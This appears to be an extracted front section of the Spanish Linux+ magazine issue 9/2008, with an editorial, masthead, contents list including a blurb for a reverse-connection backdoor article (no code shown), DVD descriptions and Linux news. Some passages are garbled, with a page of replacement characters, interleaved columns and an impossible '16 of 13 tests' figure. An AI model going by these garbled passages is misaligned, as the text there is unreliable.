Page 1


a modo de introducción Comprando mp3

Comprando mp3

H

ace unas semanas compré un reproductor de mp3 nuevo. Estaba tan emocionada que no noté una pegatina reluciente: compatible con el sistema operativo no usado por los linuxeros. Bueno, en la pegatina no fueron utilizadas precisamente estas palabras, pero estoy segura que sabéis a qué sistema me refiero. Otro problema, incluso más grande, era que no bastaba tener El Sisitema Operativo En Cuestión sino que se necesitaba Su Versión Más Reciente. Como no noté la pegatina, volví a casa, lo desempaqueté e intenté poner algunos archivos en él. Imposible. Pensé que la tecnología había avanzado mucho desde la compra del reproductor anterior y me puse a leer la guía incluida. Hice todo otra vez, según lo indicaba la instrucción y... nada. No pude anadir ni una canción a mi nuevo dispositivo. No sé cómo, pero al fin noté esa pegatina que me inspiró a escribir el presente editorial. Podéis explicarme ¿cómo es posible que una empresa reconocida y muy buena, que produce equipo de calidad muy, pero muy alta, produzca dispositivos que pueden funcionar bajo un solo sistema?. ¿Exclusivamente bajo una versión de este?. ¿Con un solo aviso en la caja y ninguna explicación en la guía?. Todo esto me pareció muy

... no noté una pegatina reluciente: compatible con el sistema operativo no usado por los linuxeros ... extraño. Me sentí engañada y desilusionada. Que nadie me diga ahora que monopolio no existe. Existe, pero de forma más rebuscada y oculta. Existe. Desgraciadamente. La parte más optimista de aquel acontecimiento es que me di cuenta de lo que significa la comunidad que está detrás de todo lo lanzado bajo las licencias libres. La idea de llegar a mayor número de personas posible, resolver cualquier problema con ganas y sin esperar la remuneración exagerada, de abrirse a la gente y no encerrarse dentro de un grupo seleccionado. Quizás mis conclusiones han ido demasiado allá, pero estoy segura que me entenderéis y compartiréis mi punto de vista. Esta vez no quiero detenerme mucho en el contenido de la revista, ya que basta leer el índice en la página siguiente para ver que, como siempre, os hemos preparado mucho material interesante. Sin embargo, quiero llamar vuestra atención a la nueva sección llamada ¡Socorro!. Creo que la mejor descripción la proporcionó Alejandro Minero, el autor de ésta: En muchas ocasiones nos hemos topado con algún problema molesto cuando instalamos Linux en nuestra PC o portátil y no sabemos cómo arreglarlo por más que leamos y busquemos en los foros de internet. Bueno, esta sección tratará de resolver algunos problemas con soluciones específicas y particulares. Por ello os pido que nos enviéis emails con problemas que encontráis en vuestro camino con Linux. Estoy segura que los tenéis muchos y nunca se os ocurrido preguntar a nosotros, personas, trabajo de los cuales consiste en intentar resolver cualquier problema vuestro. Ya no os detengo más y deseo buena lectura. ¡Hasta la próxima! Aleksandra Tęsiorowska Redactora Jefe de Linux+

www.lpmagazine.org

3


Mensual Linux+ está publicado por Software-Wydawnictwo Sp. z o. o. Producción: Marta Kurpiewska, marta@software.com.pl Redactora jefe: Aleksandra Tęsiorowska, a.tesiorowska@lpmagazine.org Redactoras adjuntas: Paola García pgarcia.glowacki@gmail.com Preparación de DVDs: Jarosław Zakrzewski DTP Operador: Jarosław Zakrzewski jaroslaw.zakrzewski@software.com.pl Diseño portada: Agnieszka Marchocka Gráfico: Łukasz Pabian – "insane" Publicidad: adv@software.com.pl Suscripción: suscripcion@software.com.pl Correctores: Pablo Cardozo, Roberto Delgado Sànchez Distribución: Coedis, S. L. Avd. Barcelona, 225 08750 Molins de Rei (Barcelona), España Dirección: Software–Wydawnictwo Sp. z o.o., ul. Bokserska 1, 02-682 Varsovia, Polonia La Redacción se ha esforzado para que el material publicado en la revista y en los DVDs que la acompañan funcionen correctamente. Sin embargo, no se responsabiliza de los posibles problemas que puedan surgir. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos. La Redacción usa el sistema de composición automática Los DVDs incluidos en la revista han sido comprobados con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o. ¡Advertencia! Queda prohibida la reproducción total o parcial de esta publicación periódica, por cualquier medio o procedimiento, sin para ello contar con la autorización previa, expresa y por escrito del editor. Linux ® es una marca comercial registrada de Linus Torvalds.

4

En este número descripción de DVD

6

Descripción de DVD Marvin Ortega Chacón

novedades

10

Noticias

14

Ubuntu

16

openSUSE

17

Debian

18

Mandriva

20

¡Socorro!

Alex Sandoval

Francisco Javier Carazo Gil

Juan Gámez

Marvin Ortega Chacón

Juan Gámez

Alejandro Minero

seguridad

22

Protege tus Datos en Linux – Cifrado de Datos José Ángel Munoz Martínez

Actualmente es casi imposible encontrar a un usuario o administrador de sistemas que no tenga o necesite proteger algún tipo de documento, imagen o archivo de contrasenas. Fuera de aquellas organizaciones como bancos u organismos oficiales que (en algunos casos teóricamente. Véase el ejemplo del Banco de New York Mellon Corp, que gastando una gran cantidad de dinero en seguridad, confirmó el 30 de Mayo pasado la pérdida de cintas sin cifrar conteniendo datos de más de 4.5 millones de clientes al haber sido enviadas en furgoneta por mensajería) poseen sistemas de seguridad y cifrado físicos (Como el Documento Nacional de Identidad electrónico, con tarjeta chip válido para realizar operaciones con Hacienda y Tráfico en España) y cuya implementación cuesta muchísimo esfuerzo y dinero; se hace necesaria la protección de datos por software, mejorando en algunos casos la seguridad de los primeros.

26

OSSEC, la referencia de los HOST IDS’s Daniel Medianero

El campo de los detectores de intrusos siempre me ha fascinado, la idea en sí misma de un IDS (Intrusion Detection System) es genial: un sistema que me permita saber cuándo y cómo soy atacado e incluso efectuar acciones reactivas ante dichos ataques. En un mundo ideal los detectores de intrusos serían la panacea de la seguridad informática.

36

Backdoors Multiplataformas Jose María García

En este artículo voy a tratar de explicar cómo crear una Backdoor o Puerta Trasera con conexión inversa y protegida por contraseña, en lenguaje C para Windows y Linux. Linux+ 9/2008


índice

Tema del número

42

Seguridad de Datos

Seguridad de Hosting - Comparativa José Ángel Munoz Martínez

Estoy seguro de que todos aquellos usuarios que siempre hemos querido tener un portal y ofrecer nuestro conocimiento con nuestro propio dominio o, todas esas empresas que ofrecen a sus clientes información y servicios a través de su flamante web y confían sus más preciados datos a una empresa de Hosting no se quedarán o, mejor dicho, no nos quedaremos indiferentes después de leer la comparativa que os presentamos a continuación.

46

Gabriel García

software Unison, sincronizando datos entre nuestros equipos

Francisco Javier Carazo Gil

En un mundo en el que cada vez es más común usar más de un equipo, el almacenamiento de información que necesitamos en todo momento es un problema. Existen soluciones como las unidades extraíbles, el almacenamiento en línea o simplemente, el separar los datos dependiendo del equipo, que más o menos satisfacen la necesidad de tener los datos siempre disponibles. Sin embargo, las limitaciones de una y el coste económico (y otros factores como la inseguridad) en otras, hacen que estas prácticas sólo sean útiles en ciertas circunstancias. Por esta razón os presentamos Unison, un software de código abierto, multiplataforma, que permite mantener sincronizados los datos entre distintos equipos. Fácil de utilizar, gratuito, y totalmente libre, posiblemente sea la solución a un problema muy común para muchos.

58

Integridad de datos con software libre Federico Pacheco

Luego de haber creado exitosamente la confidencialidad y la disponibilidad, Dios dijo: Hágase la integridad y sean los datos íntegros. Y los datos fueron destinados a ser íntegros por el resto de la eternidad. Luego de haber creado los pilares de la seguridad informática, el día 1024, descansó.

66

Aumentando nuestra creatividad con Software Libre

Diego Germán González

Si comparamos el uso de nuestro tiempo con digamos cinco anos atrás, descubriremos que pasamos más horas delante de un ordenador que lo que lo hacíamos entonces. Bastante tiene que ver la convergencia de tecnologías, hoy no sólo lo usamos para redactar informes, hacer control de stock, escribir cartas y matar marcianos sino que vemos la televisión o estrenos de cine, organizamos e imprimimos nuestras fotografías, escuchamos radio o nuestros temas musicales preferidos. Por otra parte la reducción de costos, los cambios políticos y económicos en muchos países del tercer mundo pusieron los ordenadores al alcance de más gente, mientras que la aparición de la web 2.0 hizo que el mail, el chat y la telefonía voip relegaran al correo y al teléfono al arcón de los recuerdos. La misma tarea escolar que a nosotros nos requería varias horas de biblioteca los escolares de hoy la resuelven con Google y la Wikipedia.

hardware

82

Plataforma de procesado distribuido open-hardware

Lino García Morales

Ardabasto es un proyecto open-hardware de bajo coste (tanto su diseño como su distribución es libre) que expande el potencial de sus predecesores: Arduino y Wiring, hacia los sistemas multiproceso distribuidos. Desde el punto de vista funcional consta de tres módulos o partes: principal o base, complementos y expansores.

proyectos linux

86

Achicando la brecha informática en escuelas estatales argentinas

Leonel Iván Saafigueroa

Juegos Francisco Javier Carazo Gil

multimedia

68

práctica

76

Copias de seguridad

Nuestro equipo siempre es vulnerable a fallos en el hardware, sobre todo en discos rígidos, a descuidos nuestros y a ataques o fallas de los programas que usamos, por eso es importante realizar copias de seguridad de nuestros datos y/o sistemas, a intervalos regulares, hoy veremos cómo hacerlo.

52

de psicología es posible disminuir la cantidad de información necesaria para almacenar o transmitir un vídeo digital, en donde los límites están dados sólo por el nivel mínimo de calidad aceptable que necesitemos. Este artículo entrega los conceptos básicos para comprender la codificación de vídeo y cómo se pueden usar para mejorar los resultados utilizando el codificador mencoder en Linux.

Codificación de vídeos en Linux Franco Catrin Leiva

Dicen que una imagen vale más que mil palabras, de la misma forma se podría decir que un vídeo vale más que mil imágenes, ambas aseveraciones son realmente evidentes cuando se trata de imágenes y vídeo digital. Gracias a métodos matemáticos y algo

Alumnos de entre 15 y 18 años pueden elegir hacer una certificación de programación básica; el pilar fundamental de este proyecto fue el software libre, algo que los iguala e integra con el resto del mundo. La Educación Polimodal en nuestro país tiene como finalidad la promoción en el alumnado de capacidades para el desempeno en el mundo del trabajo; la teoría y las intenciones de este sistema son buenas, atender principalmente al conjunto de saberes de carácter general necesarios para el desempeño de las más diversas tareas.

www.lpmagazine.org

5


descripción de DVD DVD

OpenSUSE 11.0

E

sta nueva entrega incluye más de 200 mejoras específicas sobre openSUSE, así como el rediseño de su instalador y un nuevo administrador de paquetes llamado ZYpp Stack (muy eficiente y veloz). Los ambientes de escritorio soportados son:

porte para importar documentos de OpenXML, efectos de transiciones en 3-D para Impress, soporte para importar SVG y un mejor soporte para los macros VBA de Excel. El administrador de redes es llamado NetworkManager 0.7, el cual ha sido sumamente mejorado desde la entrega 10.3 y ahora incluye soporte para múltiples interfaces de redes y UTMS y EV-DO cards.

• • • •

Características técnicas:

• • •

• •

GNOME 2.22 KDE 4 KDE 3.5 XFCE 4

• Linux kernel 2.6.25 • glibc 2.8 • GCC 4.3 El ambiente GNOME 2.22 de openSUSE 11.0 • PulseAudio es el servidor de audio incluye el Sistema de archivos virtuales GNO- • Qt 4.4 (framework para aplicaciones C++ ME (GVFS), con mejor soporte para sistemas para desarrollo de aplicaciones) de archivos en red. KDE 4.0 se incluye por primera vez en Programas incluidos por defecto: openSUSE. KControl ha sido reemplazado con Systemsettings, el cual simplifica los procesos • Abiword 2.6.2 (Procesador texto ligero) de configuración. El administrador de ventanas • Alpine 1.10 (Cliente de correo y lector de de KDE, KWin, ahora soporta los efectos de noticias para la consola) escritorio 3-D. • Amarok 1.4.9.1 (Reproductor multimedia KDE 4.0 no incluye aplicaciones KDEPIM, para KDE) por lo que el equipo de openSUSE ha incluido • Apache 2.2.8 (Servidor web http://) las versiones beta de la suite KDEPIM (KMail, • Banshee 1.0 (Reproductor multimedia) KOrganizer, Akregator, entre otros) de la rama • Bazaar 1.3 (Sistema de control de versiode KDE 4.1, la cual aun está en desarrollo y su nes) lanzamiento está definido para julio. • Beagle 0.3.7 (Sistema de búsqueda para el Compiz Fusion viene por defecto y listo escritorio) para usar en openSUSE 11.0. Se ha incluido el • Compiz 0.7.4 (efectos 3D para el escritoCompizConfig Settings Manager (CCSM) con rio) el fin de simplificar la configuración de nuestro • Emacs 22.2 (Veterano editor de texto para escritorio 3-D. la consola) Se ha incluido Firefox 3.0. En realidad la • Evolution 2.22.1.1 (Administrador de inversión que trae por defecto es la Firefox 3.0 formación personal y correo electrónico) beta 5, pero cuando actualices el sistema, ya • Firefox 3.0 Beta 5 (Navegador Web) tendrás disponible la versión estable Firefox • Gimp 2.4.5 (Programa para la edición de 3.0. La principal novedad en multimedia es imágenes) Banshee 1.0. OpenSUSE 11.0 incluye el re- • GnuCash 2.2.4 (Gestión de cuentas persoproductor multimedia de moda en GNOME. La nal y financieras, portado a GTK+2) Suite Ofimática OpenOffice.org 2.4 también está disponible por defecto. Esta versión incluye so-

• • • • •

• • • • • • • • •

Gnumeric 1.8.2 (Planilla electrónica) Inkscape 0.46 (Editor de gráficos vectoriales) KDEPIM 4.1 Beta (Aplicaciones KDE para gestión de información personal: Kontact, KMail, KOrganizer, KAddressbook) Develop 3.5.1 (Ambiente integrado de desarrollo) Kile 2.0 (Ambiente de edición integrado TeX/LaTeX) KTorrent 3.0.2 (Cliente torrent) Mediawiki 1.11.2 (Ambiente de edición colaborativa basado en la web) Mono 1.9.1 (Mono application runtime and development stack) Monodevelop 1.0 (Ambiente de desarrollo integrado) ndiswrapper 1.51 (Permite utilizar los controladores para Windows de las tarjetas inalámbricas) OpenOffice.org 2.4 (Paquete de oficina, utiliza formato de archivo OASIS, con integración en KDE/GNOME) OpenSSH 5.0p1 (Cliente y servidor para conexiones remotas cifradas y transferencia de archivos) Pidgin 2.4.1 (Cliente de mensajería Multiprotocolo) QEMU 0.9.1 (Herramienta para utilización de máquinas virtuales y emulador cpu) SeaMonkey 1.1.9 (Conjunto de aplicaciones Internet todo-incluido) Subversion 1.5rc5 (Sistema de control de versiones) Sunbird 0.8 (Calendario) Thunderbird 2.0.0.12 (Cliente de correo) VirtualBox 1.5.6 (Herramienta para utilización de máquinas virtuales x86) Wine 1.0rc3 (Capa de compatibilidad para ejecutar aplicaciones MS Windows) xine-lib 1.1.12 (Librerías para reproducción multimedia) Marvin Ortega Chacón

Figura 2. Compiz fusion, efecto esfera con defor-

Figura 1. Pantalla de boteo inicial

6

Figura 3. Pantalla de boteo inicial

mación

Linux+ 9/2008


descripción de DVDs Disco B

L

a partida llegó al antiguo Castillo de Llekwroth. Estaba prácticamente en ruinas. Después de una hora o más buscando, encontraron un pasaje secreto en la capilla que conducía a una caverna subterránea. Pensando que podría haber increíbles tesoros al otro lado de la cueva, decidieron entrar dentro del túnel y descender a las profundidades. Entraron en el pasaje, doblaron la esquina y llegaron a una habitación... ¡absolutamente repleta de orcos! Sólo un instante después, oyeron el movimiento de los orcos acercándose. Comprendieron que estaban atrapados y tenían que pelear. “¡Hay que tomar la iniciativa!” gritaron. Ahora tu responsabilidad es la de crear una estrategia de combate que mantenga a tus jugadores en juego. Mientras el juego discurre, tú, el Game Master (o Maestro del Juego), tienes el cometido de manejar los encuentros del combate de manera continua y eficiente de manera que los jugadores puedan pasarlo bien y verse inmersos dentro del juego. Sabemos que en ocasiones los encuentros son simples y fáciles de manejar pero, ¿qué ocurre si llegan a ser más complicados? ¿Cómo puedes mantener la pista de los puntos de éxito de un Orco? ¿Cómo puedes saber exactamente cuándo un jugador se desangra? ¿Cómo puedes mantener la pista de lo que hará un jugador cuando se retrasa una acción? ¿Cómo puedes mantener las acciones preparadas para comenzar? ¿Existe alguna manera de hacer una comprobación simultánea para todos los jugadores de sus capacidades y posteriormente salvarlos? ¿O es más fácil mezclar la acción en cada paso? Si alguna vez habías pensado que existe una manera mejor de manejar tus encuentros, entonces Turn Wather™, ¡es la solución para ti! Turn Watcher soporta cualquier número de jugadores humanos (PCs en inglés Sioponentes, no puedes leer yel disco DVD de player character's), órdenes y no notas ningún conteo de puntos, liberándote de otras tareastipo de deterioro porpuedas favor, pruébalo en al menos menos importantes, mecánico, de manera que dos unidades de disco diferentes. centrarte en los encuentros de una manera directa y eficiente. Turn Watcher permite: •

Cambiar la iniciativa individual para cada jugador humano y cada oponente poniéndolo dentro del orden de iniciativa automáticamente- todo sólo con ¡un simple click!

9/2008 www.lpmagazine.org

En caso de problemas, escribir a: dvd@lpmagazine.org

7


����������������������������

������������������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������������������� ������������������������������������������������������������� ����������������������������������������������������������������� ������������������������������������������������������������������������ ������������������������������������������������������������������������ �������������������������������������������������������������� ����������������������������������� ������������������������������������������� ���������������������������������������������� ���������������������������������������� ��������������������������������������������� ����������������������������������������� ����������������������������������������� ��������������������������������������������������������� ��������������������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������������������ ������������������������������������������������������������������ �������������������������������� ��������������������������������������������������������������� ������������������������������������������������

��������������������������������������������������������������������������������������������������������������� ����������������������������������������������������������������������������������������������������������������� ����������������������������������������������������������


� �������������������������� ���������� ����������

��������������������� ������������������� ����������

��������������� ����������������������� ��������������

�����������������

�������������������������������

����������� ������������������������ �������������� ���������

������������������ ���������������� ������������������� ������������

���������� ���� ���������� ����� ��� ��������������

������������� �����������������������

���

�����

��������

�������������

����������������

��������������������

����������

���������������������

���������������������

������� ����� ���

������

������

����

�����

��

���

� � � �� � � �

� �

�����

� � �

� �

������ ������

������������������������������������������������������������������������������������������������������������������������������ ������������������������������������������������������������������������������������

������������������������

�����������

��������������� ����������������������������������������������������������������������������������������������������������������������������������� �������������������������������������������������������������������������������������������������������������������������������� ����������������������������������������������������������������������������������������������������������������������������������������� ���������������������������������������������������

����������

��������������� ��������������

����������� ������������


NE WS

novedades Noticias sección llevada por Alex Sandoval news@lpmagazine.org

Planes para GNOME 3.0

En GUADEC, la conferencia europea de los desarrolladores y usuarios de GNOME, el equipo de programadores de GTK+ anunciaron sus planes para GTK+ 3.0. Inmediatamente después, el equipo de lanzamientos de GNOME anunció sus propios planes para GNOME 3.0. Estos involucran una suave transición de la 2.x a la 3.x y, tentativamente, una fecha de lanzamiento para dentro de un año y medio. Más detalles todavía se están discutiendo, pero el proyecto GNOME parece estar siguiendo los pasos de KDE, y con un poco suerte, evitarán los problemas que enfrentó el lanzamiento de KDE 4.0. http://www.vivalinux.com.ar/eventos/ planes-para-gnome-3.0.html ¿Xandros compra Linspire?

Kevin Carmony, antiguo CEO de Linspire, publica en su blog que Xandros y Linspire firmaron un principio de acuerdo por el cual la primera se habría embolsado a la segunda por una suma no espeficiada y sin una reunión previa de los accionistas de Linspire. Aparentemente, también se habría votado por cambiar el nombre de la menos afortunada empresa a Digital cornerstone, Inc. Linspire tuvo sus últimos segundos de fama con su último Linspire 6.0 y su intento por ofrecer su servicio de distribución de software online Click N' Run (CNR) para otras distribuciones como Ubuntu. http://linux.slashdot.org/article.pl?sid=08/ 07/01/0031221&from=rss SUSE Studio: tu kit de construcción Linux

SUSE Studio es una suite para crear tu propia distribución SUSE para Live CD, Live DVD, Live USB, imagen lista para ejecutar con VMWare o Xen. También puedes crear una aplicación de servidor personalizada, conteniendo solo las aplicaciones y componentes necesarios del sistema operativo. Construir una imagen de disco duro para precargar sobre hardware. Además los Live pueden contener su propio instalador para instalarlo donde quieras. De momento es una Alpha Signin, es decir, solo puede entrar con invitación, pero se puede solicitar que te envien una desde el sitio web de SUSE Studio. http://studio.suse.com/ Banco do Brasil migrará sus cajeros a openSUSE

En agosto, Banco do Brasil comenzará a sustituir la estructura del sistema operacional de sus unidades de auto-atendimento (ATMs, o cajeros automáticos). Comenzando en Brasilia, la institución reemplazaría OS/2 de IBM por openSUSE, y un sistema desarrollado internamente sobre esta plataforma. A partir de enero de 2009, la migración sería oficial y abarcaría apróximadamente 40.000 cajeros en todo Brasil. http://br-linux.org/2008/banco-do-brasil-comeca-a-migrar-seus-atms-para-opensuse/

10

A celebrar con Wine

D

espués de 15 años de desarrollo Wine 1.0 ha sido liberado. El proyecto comenzó en 1993 cuando los programadores Eric Youngdale y Bob Amstadt comenzaron su desarrollo para poder ejecutar los programas del sistema Microsoft Windows 3.11 en Linux. Wine permite la ejecución de programas para MS-DOS, varias versiones de MS Windows. El nombre Wine empezó como un acrónimo para Windows Emulator, pero el programa a lo largo de sus versiones fue evolucionando y ahora corre nativamente los programas para Windows. A pesar de no tener una perfecta compatibilidad con Windows, ofrece soporte total para algunas aplicaciones como: Photoshop CS2, Excel Viewer 2003, Word Viewer 2003 y PowerPoint Viewer 200, los que han sido la meta al momento de liberar esta versión. Wine no es un emulador. Es que los emuladores tienden a duplicar el entorno completo en el que un programa se ejecuta, incluyendo la simulación de una arquitectura de procesador determinada. Wine, por el contrario, implementa lo que podría ser llamado una capa de compatibilidad, la cual provee alternativas a las bibliotecas de Windows. Wine no requiere Microsoft Windows, ya que es una alternativa totalmente gratuita de la implementación de la API de Windows que consta de código 100% no-Microsoft, sin embargo, Wine opcional-

mente puede usar DLLS nativas de Windows si están disponibles. Wine proporciona un conjunto de herramientas de desarrollo para portar código fuente de Windows para Unix así como un cargador de programa, lo que permite a muchos programas sin modificar de Windows ejecutarse en x86 basado en Unix, incluyendo Linux, FreeBSD, Mac OS X y Solaris.

Wine 1.1.0

Todas sus nuevas características debieron ser congeladas durante las preparaciones para el lanzamiento de su reciente versión 1.0; pero ahora que ese momento ya pasó su nueva versión de desarrollo 1.1.0 puede retomar el camino de las innovaciones y no sólo continuar con el de las correcciones. Wine 1.1.0 incluye como novedades, entre otras: • • • •

Mejor soporte para tabletas gráficas. Muchas más funciones de gdiplus implementadas. Muchísimas más funciones de MSHTML. Implementación inicial del DLL inetmib1.

También se corrigen muchos errores en la ejecución de Warcraft III, GTA Vice City, F.E.A.R., Office 2000, Photoshop CS2, Eclipse 3.3 y otros. http://www.microteknologias.cl/ blog/?p=1292

Claranet despega como Managed Services Provider en España

E

l grupo presentó su estrategia como Proveedor de Servicios Gestionados en una rueda de prensa celebrada en Madrid. Claranet, Proveedor de Servicios Gestionados, presentó su nuevo plan de estrategia que tiene como objetivo consolidar a la firma como Managed Services Provider (MSP). Un posicionamiento que la compañía inició recientemente en España y cuyo carácter novedoso les permite ser pioneros en esta completa y personalizada oferta que hasta el momento no cuenta con una gran competencia en nuestro mercado. La evolución de ISP a MSP fue el tema central de una rueda de prensa dividida en dos partes. Director Comercial de Claranet España se encargó de abrir el encuentro con la prensa con un recorrido por la historia del grupo y los objetivos y resultados conseguidos desde su implantación en España. Garriga-Nogués explicó los motivos de la migración de ISP a MSP. Las empresas cada vez son más tecnoló-

Linux+ 9/2008

gicamente dependientes. Esta dependencia aumenta con la misma intensidad que disminuye su capacidad para gestionar de forma eficiente la infinidad de soluciones que el sector IT propone. Ésta es nuestra visión de futuro y el motivo por el cual Claranet ha evolucionado como Proveedor de Servicios Gestionados. – comenta. La segunda parte de la rueda de prensa tuvo como conductor a Director Técnico quién basó su exposición en analizar y explicar los diferentes servicios que componen el portfolio de Claranet así como la infraestructura técnica de la delegación española. Así pues, Josep Salom habló de la infraestructura de red y del Datacenter de Barcelona, así como de las Managed Applications, pasando por los servicios relacionados con la Virtualización, iPv6, Movilidad y VPN:ng (MPLS). Muchas de estas soluciones ya han sido implantadas con éxito en muchas compañías españolas.


novedades sección llevada por Alex Sandoval news@lpmagazine.org Noticias

Dos cosas sobre Firefox

Los módulos cerrados son indeseables y dañinos

U

na constante espina en el ojo de varios desarrolladores del núcleo de Linux siempre fue la existencia de módulos de código cerrado para el núcleo, notablemente los controladores de nVIDIA y ATI, pero también de sistemas de archivos y otros. Los desarrolladores se opusieron a este tipo de módulos desde el principio y, de hecho, los reportes de errores de Kernels contaminados con estos módulos son sencillamente ignorados. Por todo ello, los desarrolladores del Kernel se reunieron y publicaron un documento urgiendo a los vendedores a que liberen sus drivers y módulos como Open Source. Nosotros, los desarrolladores del núcleo de Linux, consideramos a cualquier módulo o driver de código cerrado para Linux como indeseable y dañino. Dichos módulos niegan la apertura, estabilidad, flexibilidad y mantenibilidad del modelo de desarrollo de Linux y excluye a sus usuarios de la experiencia de la comunidad. Los fabricantes que proporcionan módulos del núcleo de fuente cerrada, fuerzan a sus clientes a renunciar de las ventajas claves de Linux o a elegir otro fabricante. Por lo tanto, para poder aprovechar completamente los ahorros en costes y los beneficios de soporte compartido que el software de fuente abierta puede ofrecer, nosotros impulsamos a los fabricantes a adoptar una política de soporte para sus clientes en Linux con código del núcleo de fuente abierta. La declaración ha sido firmada hasta ahora por más de 135 desarrolladores del núcleo. El FAQ (preguntas frecuentes) que acompaña la declaración explica que nada ha cambiado, sólo hemos estado recibiendo un flujo constante de preguntas de compañías que preguntan cómo los desarrolladores del núcleo

NE WS

del Linux sienten sobre los módulos de fuente cerrada durante el último año o siguientes. Esta declaración debería ser la respuesta definitiva para la gran mayoría de aquellos que sienten en lo que respecta a este tópico. La declaración probablemente hará muy poco en obligar a los fabricantes de escribir módulos del núcleo en código abierto, ya que efectivamente, esta declaración no cambia nada sobre la situación actual - sólo formaliza el asunto. Sabemos que a los desarrolladores del núcleo no les gustan los módulos y controladores de código cerrado, y sabemos también que algunos fabricantes simplemente no se preocuparán por ser de código abierto. Ellos sólo quieren que sus controladores trabajen, y ven a muchos usuarios finales contentos con el uso de estos módulos de código cerrado. Los fabricantes tienen pocos incentivos para cambiar algo al respecto. Me parece que es algo triste, pero es la situación actual. Es muy práctico renunciar a mi controlador nVIDIA de código cerrado, y además, sería demasiado hipócrita. Puedo ser muy noble desactivando los módulos de código cerrado e incluso instalar software de mi Linux, pero luego me voy a la cama por la noche y cargo mi PowerBook de Apple corriendo Mac OS X, para comprobar la web justo antes de acostarme. Me despierto a la mañana siguiente, y arranco Windows Vista para trabajar en proyectos universitarios con Microsoft Office, mientras reviso los mensajes de texto en mi teléfono con Windows Mobile. Sería como ser vegetariano a tiempo parcial. Yo nunca como carne, excepto a las 6pm cuando es la cena. http://www.microteknologias.cl/ blog/?p=1343

Primero: La fundación Mozilla recibió la confirmación oficial del Record Mundial Guinness por el mayor número de descargas de un software en 24 horas, ya que Firefox 3.0 fue descargado 8.002.530 veces. Felicitaciones. Segundo: Reciente ha sido lanzada la actualización de la rama 2.x de Firefox, especificamente la versión 2.0.0.15. Así que si aún sigues utilizando Firefox 2.x, debes actualizar tu navegador para corregir las posibles vulnerabilidades. Puedes encontrarlo en versiones antiguas de Firefox: http://www.mozilla.com/en-US/firefox/allolder.html Paseo introductorio en el Live CD

Mientras dura el proceso de instalación, se ofrecerá un paseo virtual por las características y novedades de Ubuntu. Soporte para más de 100 webcams al Kernel 2.6.27

De acuerdo a un hilo de discusiones en la lista de correo de uvcvideo (USB Video Class Driver) del Kernel Linux, si todo sale según lo esperado, podemos esperar ver soporte para más de 100 tipos de webcams nuevas y dispositivos similares en el próximo Kernel 2.6.27. De acuerdo a la lista mencionada, el estándar UVC es requerido para obtener certificación Windows Vista, así que los fabricantes de hardware deben incluirla. Entre los periféricos incluídos en esta categoría se encuentran además de webcams, camcorders digitales, conversores de video analógico y sintonizadores de televisión, entre otros. La buena noticia es que esto significaría soporte automático para todos esos dispositivos, lo que representa a su vez casi todas las webcams incluídas en los portátiles modernos, y seguramente también las webcams USB más recientes. http://www.gnewsense.org/ IBM Lotus Symphony 1.0 disponible… por fin!

Finalmente IBM ha anunciado la liberación de la versión 1.0 de su paquete ofimático Lotus Symphony. Esta suite está pensada para los entornos corporativos y posee herramientas para composición de documentos, desarrollo de hojas de cálculo y creación de presentaciones. Las características que destacan a este conjunto es que la interfaz es bastante simple, con un acabado muy moderno y profesional, y además permite manipular los documentos con pestañas. Puedes descargar la suite desde el sitio oficial de IBM Lotus Symphony. Por el momento hay versiones disponibles para Winbugs XP y Vista, y Suse y Red Hat Linux, en diversos idiomas. Los requerimientos mínimos son 750 MB de espacio libre en Linux y 540 MB en Winbugs, y al menos 512 MB de memoria RAM. http://symphony.lotus.com/software/lotus/ symphony/home.jspa

Figura 1. Página Web de Microteknologias

www.lpmagazine.org

11


NE WS

novedades Noticias sección llevada por Alex Sandoval news@lpmagazine.org

Linux más eficiente en el consumo de energía que Windows Server

Un reciente estudio independiente sobre consumo de energía en servidores reveló que Red Hat Linux Enterprise 5 (RHEL) es ligeramente más eficiente que su competidor SUSE Linux Enterprise (SLE), pero ambos son superiores frente a Windows Server 2008 en 3 diferentes plataformas de hardware. Las pruebas fueron realizadas en los siguientes servidores: • • • •

IBM x3350, Dell 1950, HP DL-160 G5 HP DL-360 G5

con configuraciones optimizadas para: ahorro de energía, rendimiento (sin ahorro) y operación en modo silencioso o de bajo consumo. RHEL, que tiene una participación del 80% del mercado de servidores Linux comerciales, venció en 16 de las 13 pruebas, llegando a ser hasta 12% más eficiente que Windows Server (con un promedio de 10%). http://www.networkworld.com/ research/2008/060908-green-windowslinux.html?page=1 Algunas mejoras que incluirá Intrepid Ibex

Cada vez queda menos para que llegué a nuestras manos la versión 8.10 de nuestra querida distribución, Intrepid Ibex. Conforme se acerca la fecha, vamos conociendo algunas de las mejoras que incluirá, todas ellas dirigidas a mejorar la satisfacción de los usuarios de equipos de escritorio. • Nuevo tema Tras las proposiciones que se realizaron para incluir en Hardy Heron un tema más rompedor con la estética clásica de la distribución y la elección al final de un tema bastante cool pero no tan arriesgado como se esperaba con los tonos marrones y naranjas característicos de la distribución, parece ser que en Intrepid Ibex, el tema elegido será bastante más innovador y posiblemente encaje mejor con los gustos de los usuarios provenientes de otras distribuciones y sistemas. • Directorio privado encriptado En el directorio personal de cada usuario, existirá un subdirectorio de nombre private, que encriptará toda la información que en él se incluya de manera totalmente automática. • Mejor soporte Flash En una red en la que debido a la aparición de productos como Youtube es casi indispensable de proporcionar un buen soporte Flash para satisfacer a los usuarios, Intrepid Ibex incluirá un soporte mejorado del mismo, aunque sea a partir del reproductor cerrado de Adobe, para en un futuro sustituirlo por Gnash, el reproductor libre de Flash, que aún se encuentra en fase de desarrollo.

12

Ubuntu MID Edition lanzada

S

